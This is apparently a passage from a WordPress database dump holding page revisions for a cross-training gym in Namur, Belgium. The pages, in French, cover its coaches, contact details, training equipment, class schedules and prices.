290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 20:45:06', '2013-07-03 20:45:06', '', 20, 'http://www.crosstrainingcenter.be/20-revision-35/', 0, 'revision', '', 0),
(325, 1, '2013-07-04 18:19:44', '2013-07-04 18:19:44', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de \r\nTeam Training, Duo Training, Personnal \r\nTrainer ou Coatching nutritionnel se \r\nfont exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-04 18:19:44', '2013-07-04 18:19:44', '', 9, 'http://www.crosstrainingcenter.be/9-revision-18/', 0, 'revision', '', 0),
(326, 1, '2013-07-04 16:32:39', '2013-07-04 16:32:39', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-07-04 16:32:39', '2013-07-04 16:32:39', '', 22, 'http://www.crosstrainingcenter.be/22-revision-29/', 0, 'revision', '', 0),
(331, 1, '2013-07-10 15:45:29', '2013-07-10 15:45:29', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-10 15:45:29', '2013-07-10 15:45:29', '', 11, 'http://www.crosstrainingcenter.be/11-revision-111/', 0, 'revision', '', 0),
(332, 1, '2013-07-25 16:33:42', '2013-07-25 16:33:42', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training 